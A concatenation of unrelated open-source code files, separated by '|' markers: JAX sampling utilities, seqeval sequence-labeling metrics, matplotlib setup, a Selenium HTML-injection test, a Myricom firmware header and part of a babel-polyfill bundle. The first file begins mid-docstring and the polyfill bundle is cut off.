ValueError: the 'data' argument should either be a tuple of size 1 or 2
Returns:
Callable: The gradient of the log-posterior
"""
if len(data) == 1:
batch_loglik = jit(vmap(loglikelihood, in_axes=(None, 0)))
elif len(data) == 2:
batch_loglik = jit(vmap(loglikelihood, in_axes=(None, 0, 0)))
else:
raise ValueError("'data' must be a tuple of size 1 or 2")
Ndata = data[0].shape[0]
def log_post(param, *args):
return logprior(param) + Ndata * jnp.mean(batch_loglik(param, *args), axis=0)
if with_val:
grad_log_post = jit(value_and_grad(log_post))
else:
grad_log_post = jit(grad(log_post))
return grad_log_post
def run_loop(f: Callable, state: Any, xs: Iterable, compiled: bool = True) -> Any:
"""Loop over an iterable and keep only the final state
the function `f` should return `(state, None)`
compiled: whether or not to run lax.scan or a Python loop
Args:
f (Callable): function to apply at every iteration
state (Any): state of the system
xs (iter): Iteratable to loop over
compiled (Bool, optional): whether or not the loop is performed with lax.scan or not. Otherwise run a native Python loop. Defaults to True.
Returns:
Any: final state of the system
"""
if compiled:
state, _ = lax.scan(f, state, xs)
return state
else:
for x in xs:
state, _ = f(state, x)
return state
def progress_bar_scan(num_samples: int, message: Union[None, str] = None) -> Callable:
"""Decorator factory to build a tqdm progress bar using lax.scan.
This returns a decorator to apply to the 'body' function used in lax.scan
Args:
num_samples (int): number of samples to run lax.scan
message (Union[None, str]): message to display in the progress bar. Defaults to f'Running for {num_samples:,} iterations'
Returns:
Callable: decorator to apply to the body function used in lax.scan
"""
if message is None:
message = f"Running for {num_samples:,} iterations"
tqdm_bars = {}
def _define_tqdm(arg, transform):
tqdm_bars[0] = tqdm(range(num_samples))
tqdm_bars[0].set_description(message, refresh=False)
def _update_tqdm(arg, transform):
tqdm_bars[0].update(arg)
def _close_tqdm(arg, transform):
tqdm_bars[0].close()
def _update_progress_bar(iter_num, print_rate):
"Updates tqdm progress bar of a JAX scan or loop"
_ = lax.cond(
iter_num == 0,
lambda _: host_callback.id_tap(_define_tqdm, print_rate, result=iter_num),
lambda _: iter_num,
operand=None,
)
_ = lax.cond(
iter_num % print_rate == 0,
lambda _: host_callback.id_tap(_update_tqdm, print_rate, result=iter_num),
lambda _: iter_num,
operand=None,
)
_ = lax.cond(
iter_num == num_samples - 1,
lambda _: host_callback.id_tap(_close_tqdm, print_rate, result=iter_num),
lambda _: iter_num,
operand=None,
)
def _progress_bar_scan(func):
"""Decorator that adds a progress bar to `body_fun` used in `lax.scan`.
Note that `body_fun` must either be looping over `np.arange(num_samples)`,
or be looping over a tuple who's first element is `np.arange(num_samples)`
This means that `iter_num` is the current iteration number
"""
print_rate = int(num_samples / 20)
def wrapper_progress_bar(carry, x):
if type(x) is tuple:
iter_num, *_ = x
else:
iter_num = x
_update_progress_bar(iter_num, print_rate)
return func(carry, x)
return wrapper_progress_bar
return _progress_bar_scan
|
/*!
* OpenUI5
* (c) Copyright 2009-2020 SAP SE or an SAP affiliate company.
* Licensed under the Apache License, Version 2.0 - see LICENSE.txt.
*/
sap.ui.define([],function(){"use strict";return{palette:{group:"CONTAINER",icons:{svg:"sap/m/designtime/ScrollContainer.icon.svg"}},actions:{remove:{changeType:"hideControl"},reveal:{changeType:"unhideControl"}},aggregations:{content:{domRef:":sap-domref",actions:{move:"moveControls"}}},name:{singular:"SCROLL_CONTAINER_CONTROL_NAME",plural:"SCROLL_CONTAINER_CONTROL_NAME_PLURAL"}};});
|
import matplotlib as mpl
import IPython
from IPython.core.magic import register_line_magic
@register_line_magic
def mpl_setup(line):
IPython.get_ipython().magic('pylab --no-import-all inline')
try:
import seaborn as sns
sns.set(style="darkgrid")
except ImportError:
from warnings import warn
warn('Seaborn not installed')
mpl.rcParams['font.sans-serif'] = 'Helvetica Neue, Helvetica, Avant Garde, Computer Modern Sans serif'
mpl.rcParams['font.family'] = 'sans-serif'
mpl.rcParams['savefig.bbox'] = 'tight'
mpl.rcParams['savefig.pad_inches'] = 0
mpl.rcParams['text.usetex'] = False
mpl.rcParams['lines.linewidth'] = 3
mpl.rcParams['font.size'] = 15
mpl.rcParams['axes.labelsize'] = 17
mpl.rcParams['axes.titlesize'] = 17
mpl.rcParams['xtick.labelsize'] = 15
mpl.rcParams['ytick.labelsize'] = 15
mpl.rcParams['legend.fontsize'] = 17
|
#
# Copyright (c) 2015-2019 Thierry Florac <tflorac AT ulthar.net>
# All Rights Reserved.
#
# This software is subject to the provisions of the Zope Public License,
# Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution.
# THIS SOFTWARE IS PROVIDED "AS IS" AND ANY AND ALL EXPRESS OR IMPLIED
# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS
# FOR A PARTICULAR PURPOSE.
#
"""PyAMS_file package
PyAMS files management package
"""
__docformat__ = 'restructuredtext'
from pyramid.i18n import TranslationStringFactory
_ = TranslationStringFactory('pyams_file')
def includeme(config):
"""pyams_file features include"""
from .include import include_package # pylint: disable=import-outside-toplevel
include_package(config)
|
const { expect } = require('chai')
const { Builder, By } = require('selenium-webdriver')
const server = require('../../server')
describe('injecting html', () => {
let driver
let html
let script
before(() => {
driver = new Builder()
.forBrowser('internet explorer')
.usingServer('http://localhost:4444/wd/hub')
.build()
})
after(() => {
driver.quit()
})
beforeEach(async () => {
await server.start()
})
afterEach(() => {
server.stop()
})
it('injects the html correctly when we intervene', async () => {
html = `
<!DOCTYPE html>
<html>
<head>
<script src="bundle.js"></script>
</head>
<body>
<h1>it works</h1>
<script>
window.onload = function () {
document.write("<h3>it b0rked</h3>")
}
</script>
</body>
</html>
`
script = `
var intervene = require('./lib/index.js').intervene;
intervene();
`
server.configure({
html,
script
})
await driver.get('http://localhost:3000/')
const bodyContent = await driver
.findElement(By.tagName('body'))
.getAttribute('innerHTML')
expect(bodyContent).to.contain('<h3>it b0rked</h3>')
expect(bodyContent).to.contain('<h1>it works</h1>')
})
})
|
"use strict";
exports.__esModule = true;
var _ownerDocument2 = _interopRequireDefault(require("./ownerDocument"));
exports.ownerDocument = _ownerDocument2["default"];
var _ownerWindow2 = _interopRequireDefault(require("./ownerWindow"));
exports.ownerWindow = _ownerWindow2["default"];
var _getWindow2 = _interopRequireDefault(require("./getWindow"));
exports.getWindow = _getWindow2["default"];
var _getContainer2 = _interopRequireDefault(require("./getContainer"));
exports.getContainer = _getContainer2["default"];
var _canUseDOM2 = _interopRequireDefault(require("./canUseDOM"));
exports.canUseDOM = _canUseDOM2["default"];
var _contains2 = _interopRequireDefault(require("./contains"));
exports.contains = _contains2["default"];
var _scrollTop2 = _interopRequireDefault(require("./scrollTop"));
exports.scrollTop = _scrollTop2["default"];
var _scrollLeft2 = _interopRequireDefault(require("./scrollLeft"));
exports.scrollLeft = _scrollLeft2["default"];
var _getOffset2 = _interopRequireDefault(require("./getOffset"));
exports.getOffset = _getOffset2["default"];
var _nodeName2 = _interopRequireDefault(require("./nodeName"));
exports.nodeName = _nodeName2["default"];
var _getOffsetParent2 = _interopRequireDefault(require("./getOffsetParent"));
exports.getOffsetParent = _getOffsetParent2["default"];
var _getPosition2 = _interopRequireDefault(require("./getPosition"));
exports.getPosition = _getPosition2["default"];
var _isOverflowing2 = _interopRequireDefault(require("./isOverflowing"));
exports.isOverflowing = _isOverflowing2["default"];
var _activeElement2 = _interopRequireDefault(require("./activeElement"));
exports.activeElement = _activeElement2["default"];
var _getScrollbarSize2 = _interopRequireDefault(require("./getScrollbarSize"));
exports.getScrollbarSize = _getScrollbarSize2["default"];
var _getHeight2 = _interopRequireDefault(require("./getHeight"));
exports.getHeight = _getHeight2["default"];
var _getWidth2 = _interopRequireDefault(require("./getWidth"));
exports.getWidth = _getWidth2["default"];
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { "default": obj }; }
|
"""Metrics to assess performance on sequence labeling task given prediction
Functions named as ``*_score`` return a scalar value to maximize: the higher
the better
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from collections import defaultdict
import numpy as np
def get_entities(seq, suffix=False, attribute_info=False):
"""Gets entities from sequence.
Args:
seq (list): sequence of labels.
attribute_info: a special tag set including attribute information. It starts with I tag and ends with E tag decorated with attribute
information. Example: I-Family, E-Family_AttributeInfo
Returns:
list: list of (chunk_type, chunk_start, chunk_end).
Example:
>>> from seqeval.metrics.sequence_labeling import get_entities
>>> seq = ['B-PER', 'I-PER', 'O', 'B-LOC']
>>> get_entities(seq)
[('PER', 0, 1), ('LOC', 3, 3)]
"""
# for nested list
if any(isinstance(s, list) for s in seq):
seq = [item for sublist in seq for item in sublist + ['O']]
prev_tag = 'O'
prev_type = ''
begin_offset = 0
chunks = []
attribute = ""
for i, chunk in enumerate(seq + ['O']):
if suffix:
tag = chunk[-1]
type_ = chunk.split('-')[0]
elif attribute_info:
tag = chunk[0]
try:
type_ = chunk[:chunk.index('_')].split('-')[-1]
attribute = chunk[chunk.index('_'):]
except:
type_ = chunk.split('-')[-1]
else:
tag = chunk[0]
type_ = chunk.split('-')[-1]
if end_of_chunk(prev_tag, tag, prev_type, type_):
chunks.append((f"{prev_type}{attribute}", begin_offset, i-1))
attribute = ""
if start_of_chunk(prev_tag, tag, prev_type, type_):
begin_offset = i
prev_tag = tag
prev_type = type_
return chunks
def end_of_chunk(prev_tag, tag, prev_type, type_):
"""Checks if a chunk ended between the previous and current word.
Args:
prev_tag: previous chunk tag.
tag: current chunk tag.
prev_type: previous type.
type_: current type.
Returns:
chunk_end: boolean.
"""
chunk_end = False
if prev_tag == 'E': chunk_end = True
if prev_tag == 'S': chunk_end = True
if prev_tag == 'B' and tag == 'B': chunk_end = True
if prev_tag == 'B' and tag == 'S': chunk_end = True
if prev_tag == 'B' and tag == 'O': chunk_end = True
if prev_tag == 'I' and tag == 'B': chunk_end = True
if prev_tag == 'I' and tag == 'S': chunk_end = True
if prev_tag == 'I' and tag == 'O': chunk_end = True
if prev_tag != 'O' and prev_tag != '.' and prev_type != type_:
chunk_end = True
return chunk_end
def start_of_chunk(prev_tag, tag, prev_type, type_):
"""Checks if a chunk started between the previous and current word.
Args:
prev_tag: previous chunk tag.
tag: current chunk tag.
prev_type: previous type.
type_: current type.
Returns:
chunk_start: boolean.
"""
chunk_start = False
if tag == 'B': chunk_start = True
if tag == 'S': chunk_start = True
if prev_tag == 'E' and tag == 'E': chunk_start = True
if prev_tag == 'E' and tag == 'I': chunk_start = True
if prev_tag == 'S' and tag == 'E': chunk_start = True
if prev_tag == 'S' and tag == 'I': chunk_start = True
if prev_tag == 'O' and tag == 'E': chunk_start = True
if prev_tag == 'O' and tag == 'I': chunk_start = True
if tag != 'O' and tag != '.' and prev_type != type_:
chunk_start = True
return chunk_start
def f1_score(y_true, y_pred, average='micro', suffix=False):
"""Compute the F1 score.
The F1 score can be interpreted as a weighted average of the precision and
recall, where an F1 score reaches its best value at 1 and worst score at 0.
The relative contribution of precision and recall to the F1 score are
equal. The formula for the F1 score is::
F1 = 2 * (precision * recall) / (precision + recall)
Args:
y_true : 2d array. Ground truth (correct) target values.
y_pred : 2d array. Estimated targets as returned by a tagger.
Returns:
score : float.
Example:
>>> from seqeval.metrics import f1_score
>>> y_true = [['O', 'O', 'O', 'B-MISC', 'I-MISC', 'I-MISC', 'O'], ['B-PER', 'I-PER', 'O']]
>>> y_pred = [['O', 'O', 'B-MISC', 'I-MISC', 'I-MISC', 'I-MISC', 'O'], ['B-PER', 'I-PER', 'O']]
>>> f1_score(y_true, y_pred)
0.50
"""
true_entities = set(get_entities(y_true, suffix))
pred_entities = set(get_entities(y_pred, suffix))
nb_correct = len(true_entities & pred_entities)
nb_pred = len(pred_entities)
nb_true = len(true_entities)
p = nb_correct / nb_pred if nb_pred > 0 else 0
r = nb_correct / nb_true if nb_true > 0 else 0
score = 2 * p * r / (p + r) if p + r > 0 else 0
return score
def accuracy_score(y_true, y_pred):
"""Accuracy classification score.
In multilabel classification, this function computes subset accuracy:
the set of labels predicted for a sample must *exactly* match the
corresponding set of labels in y_true.
Args:
y_true : 2d array. Ground truth (correct) target values.
y_pred : 2d array. Estimated targets as returned by a tagger.
Returns:
score : float.
Example:
>>> from seqeval.metrics import accuracy_score
>>> y_true = [['O', 'O', 'O', 'B-MISC', 'I-MISC', 'I-MISC', 'O'], ['B-PER', 'I-PER', 'O']]
>>> y_pred = [['O', 'O', 'B-MISC', 'I-MISC', 'I-MISC', 'I-MISC', 'O'], ['B-PER', 'I-PER', 'O']]
>>> accuracy_score(y_true, y_pred)
0.80
"""
if any(isinstance(s, list) for s in y_true):
y_true = [item for sublist in y_true for item in sublist]
y_pred = [item for sublist in y_pred for item in sublist]
nb_correct = sum(y_t==y_p for y_t, y_p in zip(y_true, y_pred))
nb_true = len(y_true)
score = nb_correct / nb_true
return score
def precision_score(y_true, y_pred, average='micro', suffix=False):
"""Compute the precision.
The precision is the ratio ``tp / (tp + fp)`` where ``tp`` is the number of
true positives and ``fp`` the number of false positives. The precision is
intuitively the ability of the classifier not to label as positive a sample.
The best value is 1 and the worst value is 0.
Args:
y_true : 2d array. Ground truth (correct) target values.
y_pred : 2d array. Estimated targets as returned by a tagger.
Returns:
score : float.
Example:
>>> from seqeval.metrics import precision_score
>>> y_true = [['O', 'O', 'O', 'B-MISC', 'I-MISC', 'I-MISC', 'O'], ['B-PER', 'I-PER', 'O']]
>>> y_pred = [['O', 'O', 'B-MISC', 'I-MISC', 'I-MISC', 'I-MISC', 'O'], ['B-PER', 'I-PER', 'O']]
>>> precision_score(y_true, y_pred)
0.50
"""
true_entities = set(get_entities(y_true, suffix))
pred_entities = set(get_entities(y_pred, suffix))
nb_correct = len(true_entities & pred_entities)
nb_pred = len(pred_entities)
score = nb_correct / nb_pred if nb_pred > 0 else 0
return score
def recall_score(y_true, y_pred, average='micro', suffix=False):
"""Compute the recall.
The recall is the ratio ``tp / (tp + fn)`` where ``tp`` is the number of
true positives and ``fn`` the number of false negatives. The recall is
intuitively the ability of the classifier to find all the positive samples.
The best value is 1 and the worst value is 0.
Args:
y_true : 2d array. Ground truth (correct) target values.
y_pred : 2d array. Estimated targets as returned by a tagger.
Returns:
score : float.
Example:
>>> from seqeval.metrics import recall_score
>>> y_true = [['O', 'O', 'O', 'B-MISC', 'I-MISC', 'I-MISC', 'O'], ['B-PER', 'I-PER', 'O']]
>>> y_pred = [['O', 'O', 'B-MISC', 'I-MISC', 'I-MISC', 'I-MISC', 'O'], ['B-PER', 'I-PER', 'O']]
>>> recall_score(y_true, y_pred)
0.50
"""
true_entities = set(get_entities(y_true, suffix))
pred_entities = set(get_entities(y_pred, suffix))
nb_correct = len(true_entities & pred_entities)
nb_true = len(true_entities)
score = nb_correct / nb_true if nb_true > 0 else 0
return score
def performance_measure(y_true, y_pred):
"""
Compute the performance metrics: TP, FP, FN, TN
Args:
y_true : 2d array. Ground truth (correct) target values.
y_pred : 2d array. Estimated targets as returned by a tagger.
Returns:
performance_dict : dict
Example:
>>> from seqeval.metrics import performance_measure
>>> y_true = [['O', 'O', 'O', 'B-MISC', 'I-MISC', 'O', 'B-ORG'], ['B-PER', 'I-PER', 'O']]
>>> y_pred = [['O', 'O', 'B-MISC', 'I-MISC', 'I-MISC', 'O', 'O'], ['B-PER', 'I-PER', 'O']]
>>> performance_measure(y_true, y_pred)
(3, 3, 1, 4)
"""
performace_dict = dict()
if any(isinstance(s, list) for s in y_true):
y_true = [item for sublist in y_true for item in sublist]
y_pred = [item for sublist in y_pred for item in sublist]
performace_dict['TP'] = sum(y_t == y_p for y_t, y_p in zip(y_true, y_pred)
if ((y_t != 'O') or (y_p != 'O')))
performace_dict['FP'] = sum(y_t != y_p for y_t, y_p in zip(y_true, y_pred))
performace_dict['FN'] = sum(((y_t != 'O') and (y_p == 'O'))
for y_t, y_p in zip(y_true, y_pred))
performace_dict['TN'] = sum((y_t == y_p == 'O')
for y_t, y_p in zip(y_true, y_pred))
return performace_dict
def classification_report(y_true, y_pred, digits=2, suffix=False):
"""Build a text report showing the main classification metrics.
Args:
y_true : 2d array. Ground truth (correct) target values.
y_pred : 2d array. Estimated targets as returned by a classifier.
digits : int. Number of digits for formatting output floating point values.
Returns:
report : string. Text summary of the precision, recall, F1 score for each class.
Examples:
>>> from seqeval.metrics import classification_report
>>> y_true = [['O', 'O', 'O', 'B-MISC', 'I-MISC', 'I-MISC', 'O'], ['B-PER', 'I-PER', 'O']]
>>> y_pred = [['O', 'O', 'B-MISC', 'I-MISC', 'I-MISC', 'I-MISC', 'O'], ['B-PER', 'I-PER', 'O']]
>>> print(classification_report(y_true, y_pred))
precision recall f1-score support
<BLANKLINE>
MISC 0.00 0.00 0.00 1
PER 1.00 1.00 1.00 1
<BLANKLINE>
micro avg 0.50 0.50 0.50 2
macro avg 0.50 0.50 0.50 2
<BLANKLINE>
"""
true_entities = set(get_entities(y_true, suffix))
pred_entities = set(get_entities(y_pred, suffix))
name_width = 0
d1 = defaultdict(set)
d2 = defaultdict(set)
for e in true_entities:
d1[e[0]].add((e[1], e[2]))
name_width = max(name_width, len(e[0]))
for e in pred_entities:
d2[e[0]].add((e[1], e[2]))
last_line_heading = 'macro avg'
width = max(name_width, len(last_line_heading), digits)
headers = ["precision", "recall", "f1-score", "support"]
head_fmt = u'{:>{width}s} ' + u' {:>9}' * len(headers)
report = head_fmt.format(u'', *headers, width=width)
report += u'\n\n'
row_fmt = u'{:>{width}s} ' + u' {:>9.{digits}f}' * 3 + u' {:>9}\n'
ps, rs, f1s, s = [], [], [], []
for type_name, true_entities in d1.items():
pred_entities = d2[type_name]
nb_correct = len(true_entities & pred_entities)
nb_pred = len(pred_entities)
nb_true = len(true_entities)
p = nb_correct / nb_pred if nb_pred > 0 else 0
r = nb_correct / nb_true if nb_true > 0 else 0
f1 = 2 * p * r / (p + r) if p + r > 0 else 0
report += row_fmt.format(*[type_name, p, r, f1, nb_true], width=width, digits=digits)
ps.append(p)
rs.append(r)
f1s.append(f1)
s.append(nb_true)
report += u'\n'
# compute averages
report += row_fmt.format('micro avg',
precision_score(y_true, y_pred, suffix=suffix),
recall_score(y_true, y_pred, suffix=suffix),
f1_score(y_true, y_pred, suffix=suffix),
np.sum(s),
width=width, digits=digits)
report += row_fmt.format(last_line_heading,
np.average(ps, weights=s),
np.average(rs, weights=s),
np.average(f1s, weights=s),
np.sum(s),
width=width, digits=digits)
return report
|
/*******************************************************************************
Copyright (c) 2006-2007, Myricom Inc.
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
2. Neither the name of the Myricom Inc, nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
$FreeBSD$
***************************************************************************/
#ifndef _mcp_gen_header_h
#define _mcp_gen_header_h
/* this file define a standard header used as a first entry point to
exchange information between firmware/driver and driver. The
header structure can be anywhere in the mcp. It will usually be in
the .data section, because some fields needs to be initialized at
compile time.
The 32bit word at offset MX_HEADER_PTR_OFFSET in the mcp must
contains the location of the header.
Typically a MCP will start with the following:
.text
.space 52 ! to help catch MEMORY_INT errors
bt start ! jump to real code
nop
.long _gen_mcp_header
The source will have a definition like:
mcp_gen_header_t gen_mcp_header = {
.header_length = sizeof(mcp_gen_header_t),
.mcp_type = MCP_TYPE_XXX,
.version = "something $Id: mcp_gen_header.h,v 1.1 2005/12/23 02:10:44 gallatin Exp $",
.mcp_globals = (unsigned)&Globals
};
*/
#define MCP_HEADER_PTR_OFFSET 0x3c
#define MCP_TYPE_MX 0x4d582020 /* "MX " */
#define MCP_TYPE_PCIE 0x70636965 /* "PCIE" pcie-only MCP */
#define MCP_TYPE_ETH 0x45544820 /* "ETH " */
#define MCP_TYPE_MCP0 0x4d435030 /* "MCP0" */
typedef struct mcp_gen_header {
/* the first 4 fields are filled at compile time */
unsigned header_length;
unsigned mcp_type;
char version[128];
unsigned mcp_globals; /* pointer to mcp-type specific structure */
/* filled by the MCP at run-time */
unsigned sram_size;
unsigned string_specs; /* either the original STRING_SPECS or a superset */
unsigned string_specs_len;
/* Fields above this comment are guaranteed to be present.
Fields below this comment are extensions added in later versions
of this struct, drivers should compare the header_length against
offsetof(field) to check wether a given MCP implements them.
Never remove any field. Keep everything naturally align.
*/
} mcp_gen_header_t;
/* Macro to create a simple mcp header */
#define MCP_GEN_HEADER_DECL(type, version_str, global_ptr) \
struct mcp_gen_header mcp_gen_header = { \
sizeof (struct mcp_gen_header), \
(type), \
version_str, \
(global_ptr), \
SRAM_SIZE, \
(unsigned int) STRING_SPECS, \
256 \
}
#endif /* _mcp_gen_header_h */
|
(function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s})({1:[function(_dereq_,module,exports){
(function (global){
"use strict";
_dereq_(295);
_dereq_(296);
_dereq_(2);
if (global._babelPolyfill) {
throw new Error("only one instance of babel-polyfill is allowed");
}
global._babelPolyfill = true;
var DEFINE_PROPERTY = "defineProperty";
function define(O, key, value) {
O[key] || Object[DEFINE_PROPERTY](O, key, {
writable: true,
configurable: true,
value: value
});
}
define(String.prototype, "padLeft", "".padStart);
define(String.prototype, "padRight", "".padEnd);
"pop,reverse,shift,keys,values,entries,indexOf,every,some,forEach,map,filter,find,findIndex,includes,join,slice,concat,push,splice,unshift,sort,lastIndexOf,reduce,reduceRight,copyWithin,fill".split(",").forEach(function (key) {
[][key] && define(Array, key, Function.call.bind([][key]));
});
}).call(this,typeof global !== "undefined" ? global : typeof self !== "undefined" ? self : typeof window !== "undefined" ? window : {})
},{"2":2,"295":295,"296":296}],2:[function(_dereq_,module,exports){
_dereq_(119);
module.exports = _dereq_(23).RegExp.escape;
},{"119":119,"23":23}],3:[function(_dereq_,module,exports){
module.exports = function(it){
if(typeof it != 'function')throw TypeError(it + ' is not a function!');
return it;
};
},{}],4:[function(_dereq_,module,exports){
var cof = _dereq_(18);
module.exports = function(it, msg){
if(typeof it != 'number' && cof(it) != 'Number')throw TypeError(msg);
return +it;
};
},{"18":18}],5:[function(_dereq_,module,exports){
// 22.1.3.31 Array.prototype[@@unscopables]
var UNSCOPABLES = _dereq_(117)('unscopables')
, ArrayProto = Array.prototype;
if(ArrayProto[UNSCOPABLES] == undefined)_dereq_(40)(ArrayProto, UNSCOPABLES, {});
module.exports = function(key){
ArrayProto[UNSCOPABLES][key] = true;
};
},{"117":117,"40":40}],6:[function(_dereq_,module,exports){
module.exports = function(it, Constructor, name, forbiddenField){
if(!(it instanceof Constructor) || (forbiddenField !== undefined && forbiddenField in it)){
throw TypeError(name + ': incorrect invocation!');
} return it;
};
},{}],7:[function(_dereq_,module,exports){
var isObject = _dereq_(49);
module.exports = function(it){
if(!isObject(it))throw TypeError(it + ' is not an object!');
return it;
};
},{"49":49}],8:[function(_dereq_,module,exports){
// 22.1.3.3 Array.prototype.copyWithin(target, start, end = this.length)
'use strict';
var toObject = _dereq_(109)
, toIndex = _dereq_(105)
, toLength = _dereq_(108);
module.exports = [].copyWithin || function copyWithin(target/*= 0*/, start/*= 0, end = @length*/){
var O = toObject(this)
, len = toLength(O.length)
, to = toIndex(target, len)
, from = toIndex(start, len)
, end = arguments.length > 2 ? arguments[2] : undefined
, count = Math.min((end === undefined ? len : toIndex(end, len)) - from, len - to)
, inc = 1;
if(from < to && to < from + count){
inc = -1;
from += count - 1;
to += count - 1;
}
while(count-- > 0){
if(from in O)O[to] = O[from];
else delete O[to];
to += inc;
from += inc;
} return O;
};
},{"105":105,"108":108,"109":109}],9:[function(_dereq_,module,exports){
// 22.1.3.6 Array.prototype.fill(value, start = 0, end = this.length)
'use strict';
var toObject = _dereq_(109)
, toIndex = _dereq_(105)
, toLength = _dereq_(108);
module.exports = function fill(value /*, start = 0, end = @length */){
var O = toObject(this)
, length = toLength(O.length)
, aLen = arguments.length
, index = toIndex(aLen > 1 ? arguments[1] : undefined, length)
, end = aLen > 2 ? arguments[2] : undefined
, endPos = end === undefined ? length : toIndex(end, length);
while(endPos > index)O[index++] = value;
return O;
};
},{"105":105,"108":108,"109":109}],10:[function(_dereq_,module,exports){
var forOf = _dereq_(37);
module.exports = function(iter, ITERATOR){
var result = [];
forOf(iter, false, result.push, result, ITERATOR);
return result;
};
},{"37":37}],11:[function(_dereq_,module,exports){
// false -> Array#indexOf
// true -> Array#includes
var toIObject = _dereq_(107)
, toLength = _dereq_(108)
, toIndex = _dereq_(105);
module.exports = function(IS_INCLUDES){
return function($this, el, fromIndex){
var O = toIObject($this)
, length = toLength(O.length)
, index = toIndex(fromIndex, length)
, value;
// Array#includes uses SameValueZero equality algorithm
if(IS_INCLUDES && el != el)while(length > index){
value = O[index++];
if(value != value)return true;
// Array#toIndex ignores holes, Array#includes - not
} else for(;length > index; index++)if(IS_INCLUDES || index in O){
if(O[index] === el)return IS_INCLUDES || index || 0;
} return !IS_INCLUDES && -1;
};
};
},{"105":105,"107":107,"108":108}],12:[function(_dereq_,module,exports){
// 0 -> Array#forEach
// 1 -> Array#map
// 2 -> Array#filter
// 3 -> Array#some
// 4 -> Array#every
// 5 -> Array#find
// 6 -> Array#findIndex
var ctx = _dereq_(25)
, IObject = _dereq_(45)
, toObject = _dereq_(109)
, toLength = _dereq_(108)
, asc = _dereq_(15);
module.exports = function(TYPE, $create){
var IS_MAP = TYPE == 1
, IS_FILTER = TYPE == 2
, IS_SOME = TYPE == 3
, IS_EVERY = TYPE == 4
, IS_FIND_INDEX = TYPE == 6
, NO_HOLES = TYPE == 5 || IS_FIND_INDEX
, create = $create || asc;
return function($this, callbackfn, that){
var O = toObject($this)
, self = IObject(O)
, f = ctx(callbackfn, that, 3)
, length = toLength(self.length)
, index = 0
, result = IS_MAP ? create($this, length) : IS_FILTER ? create($this, 0) : undefined
, val, res;
for(;length > index; index++)if(NO_HOLES || index in self){
val = self[index];
res = f(val, index, O);
if(TYPE){
if(IS_MAP)result[index] = res; // map
else if(res)switch(TYPE){
case 3: return true; // some
case 5: return val; // find
case 6: return index; // findIndex
case 2: result.push(val); // filter
} else if(IS_EVERY)return false; // every
}
}
return IS_FIND_INDEX ? -1 : IS_SOME || IS_EVERY ? IS_EVERY : result;
};
};
},{"108":108,"109":109,"15":15,"25":25,"45":45}],13:[function(_dereq_,module,exports){
var aFunction = _dereq_(3)
, toObject = _dereq_(109)
, IObject = _dereq_(45)
, toLength = _dereq_(108);
module.exports = function(that, callbackfn, aLen, memo, isRight){
aFunction(callbackfn);
var O = toObject(that)
, self = IObject(O)
, length = toLength(O.length)
, index = isRight ? length - 1 : 0
, i = isRight ? -1 : 1;
if(aLen < 2)for(;;){
if(index in self){
memo = self[index];
index += i;
break;
}
index += i;
if(isRight ? index < 0 : length <= index){
throw TypeError('Reduce of empty array with no initial value');
}
}
for(;isRight ? index >= 0 : length > index; index += i)if(index in self){
memo = callbackfn(memo, self[index], index, O);
}
return memo;
};
},{"108":108,"109":109,"3":3,"45":45}],14:[function(_dereq_,module,exports){
var isObject = _dereq_(49)
, isArray = _dereq_(47)
, SPECIES = _dereq_(117)('species');
module.exports = function(original){
var C;
if(isArray(original)){
C = original.constructor;
// cross-realm fallback
if(typeof C == 'function' && (C === Array || isArray(C.prototype)))C = undefined;
if(isObject(C)){
C = C[SPECIES];
if(C === null)C = undefined;
}
} return C === undefined ? Array : C;
};
},{"117":117,"47":47,"49":49}],15:[function(_dereq_,module,exports){
// 9.4.2.3 ArraySpeciesCreate(originalArray, length)
var speciesConstructor = _dereq_(14);
module.exports = function(original, length){
return new (speciesConstructor(original))(length);
};
},{"14":14}],16:[function(_dereq_,module,exports){
'use strict';
var aFunction = _dereq_(3)
, isObject = _dereq_(49)
, invoke = _dereq_(44)
, arraySlice = [].slice
, factories = {};
var construct = function(F, len, args){
if(!(len in factories)){
for(var n = [], i = 0; i < len; i++)n[i] = 'a[' + i + ']';
factories[len] = Function('F,a', 'return new F(' + n.join(',') + ')');
} return factories[len](F, args);
};
module.exports = Function.bind || function bind(that /*, args... */){
var fn = aFunction(this)
, partArgs = arraySlice.call(arguments, 1);
var bound = function(/* args... */){
var args = partArgs.concat(arraySlice.call(arguments));
return this instanceof bound ? construct(fn, args.length, args) : invoke(fn, args, that);
};
if(isObject(fn.prototype))bound.prototype = fn.prototype;
return bound;
};
